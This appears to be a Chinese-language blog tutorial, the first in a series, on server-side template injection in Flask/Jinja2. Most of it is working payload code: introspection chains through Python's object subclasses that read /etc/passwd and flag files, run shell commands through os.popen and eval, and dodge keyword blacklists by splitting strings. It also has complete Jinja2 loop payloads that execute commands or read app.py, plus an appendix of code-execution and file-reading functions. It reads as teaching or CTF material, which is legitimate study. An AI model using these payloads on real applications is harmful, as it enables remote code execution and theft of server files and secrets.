抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

Flask模板注入(一)

Flask中使用了Jinja2作为模板渲染引擎,Jinja2会将{{}}中包裹的内容当作变量解析替换。当服务器接受了用户的输入并将其作为模板的一部分,在渲染的过程中就可能渲染了用户插入的恶意内容,导致敏感信息泄露甚至代码执行。

1、实现模板注入

1.1 基础知识

(1)_class_ 获取当前实例的类对象

1
2
3
4
>>> ''.__class__
<type 'str'> //空字符串是一个实例,对应的类是<type 'str'>
>>> [].__class__
<type 'list'> //空列表串是一个实例,对应的类是<type 'list'>

(2)_base_ 获取当前类的一个继承类

1
2
3
4
5
6
>>> [].__class__.__base__
<type 'object'>
>>> ''.__class__.__base__
<type 'basestring'>
>>> ''.__class__.__base__.__base__
<type 'object'> //在python2.7中大部分类都继承了object类

(3)_mro_ 获取当前类的所有继承类

1
2
3
4
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> [].__class__.__mro__
(<type 'list'>, <type 'object'>)

(4)_subclasses_() 获取当前类的所有继承类列表

1
2
3
4
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
<type 'file'> //object的第40个子类

//python2和python3的不同版本在object的子类中有较大不同

(5)_init_ 用于将对象实例化

(6)_dict_ 用于列出当前属性/函数的字典

1
2
3
4
5
>>> object.__subclasses__()[60].__init__.func_globals['linecache'].os
<module 'os' from 'D:\python2.7\lib\os.pyc'>
>>> object.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os']
<module 'os' from 'D:\python2.7\lib\os.pyc'>
\\这里感觉没有什么区别

(7) _getitem_

1
2
3
4
5
6
7
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

>>> ''.__class__.__mro__.__getitem__(1)
<type 'basestring'>
>>> ''.__class__.__mro__.__getitem__(2)
<type 'object'>

(8)func_globals 返回一个包含函数全局变量的字典引用

(9)_globals_ 对保存函数全局变量(定义函数的模块的全局名称空间)的字典的引用。

1.2 实现恶意命令注入

(1)文件读取

在object的所有子类中可以找到file类

1
2
3
4
>>> object.__subclasses__()[40]
<type 'file'>
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
<type 'file'> //object的第40个子类一般为file

故可以进行文件读取

1
2
3
>>> ''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd')

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()

(2)命令执行-方法1

包含os模块的两个类:

1
2
3
>>> object.__subclasses__()[72]
<class 'site._Printer'> //这里环境该类位于object的第72个子类。但环境不同位置可能不同
<class 'site.Quitter'> //这里环境该类位于object的第77个子类。但环境不同位置可能不同

实现命令执行的payload

1
2
3
4
5
>>> object.__subclasses__()[72].__init__.__globals__['os'].system('ls')
>>> object.__subclasses__()[77].__init__.__globals__['os'].system('ls')
//在注入时,直接使用system函数可能导致无回显,故可以使用popen函数
>>> object.__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
>>> object.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()

(3)命令执行-方法2

利用warnings.catch_warnings模块

1
2
>>> object.__subclasses__()[60]
<class 'warnings.catch_warnings'> //这里环境该类位于object的第60个子类。但环境不同位置可能不同

实现命令执行

1
>>> object.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()

再补充一些payload

1
2
3
4
5
6
7
>>> object.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['po'+'pen']('whoami').read()
'laptop-91trpmfu\\admin\n'
\\利用__dict__可以绕过某些黑名单

>>> object.__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
'laptop-91trpmfu\\admin\n'
\\使用eval

(4)遍历找到catch_warnings的payload

1
2
3
4
//执行命令
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
//读文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

2、附录

2.1 一些任意代码执行及读取文件函数

(1)os执行系统命令

1
2
import os
os.system('ipconfig')

(2)exec 任意代码执行

1
exec('__import__("os").system("ipconfig")')

(3)eval 任意代码执行

1
eval('__import__("os").system("ipconfig")')

(4)timeit 本是检测性能的,也可以任意代码执行

1
2
import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)

(5)platform

1
2
import platform
platform.popen('ipconfig').read()

(6)subprocess

1
2
import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

(7)file

1
file('/etc/passwd').read()

(8)open

1
open('/etc/passwd').read()

(9)codecs

1
2
import codecs
codecs.open('/etc/passwd').read()

3、然而……这只是基础

后续会相继补上:

flask模板注入(2)

参考链接

python 模板注入

Flask模板注入

FLASK模板注入(SSTI)

Flask/Jinja2 SSTI && python 沙箱逃逸

还有一个基础而重要的 python _globals, _file

评论